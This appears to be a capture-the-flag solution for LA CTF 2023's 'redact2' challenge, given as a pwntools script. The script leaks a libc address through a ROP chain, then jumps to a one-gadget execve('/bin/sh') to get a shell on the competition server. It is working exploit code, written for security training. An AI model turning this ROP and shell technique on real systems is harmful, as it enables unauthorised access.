Rating:

```python
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

p = process('./redact2')
p = remote('lac.tf', 31281)
e = ELF('./redact2')
libc = ELF('./libc.so.6')

# === first main ===

rop1 = ROP(e, badchars=b"\n")

rop1.call("_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc", [e.symbols["_ZSt4cout"], e.got['__libc_start_main']])
rop1.raw(rop1.find_gadget(["ret"]))
rop1.main()

info(rop1.dump())

p.sendlineafter("text: ", b"")

p.sendlineafter("placeholder: ", rop1.generatePadding(0, 72) + rop1.chain())
p.sendlineafter("redact: ", b"0")

p.recv(1)
leak = u64(p.recv(6).ljust(8, b'\x00'))
info(hex(leak))
libc.address = leak - libc.symbols['__libc_start_main']
info(hex(libc.address))

# === second main ===

# 0xc961a execve("/bin/sh", r12, r13)
# constraints:
# [r12] == NULL || r12 == NULL
# [r13] == NULL || r13 == NULL
rop2 = ROP(e, badchars=b"\n")

rop2(r12=0, r13=0)
rop2.raw(libc.address + 0xc961a) # one gadget

info(rop2.dump())

p.sendlineafter("placeholder: ", rop2.generatePadding(0, 72) + rop2.chain())
p.sendlineafter("redact: ", b"0")

p.interactive()
```

Original writeup (https://jiravvit.github.io/230216-lactf2023-redact/).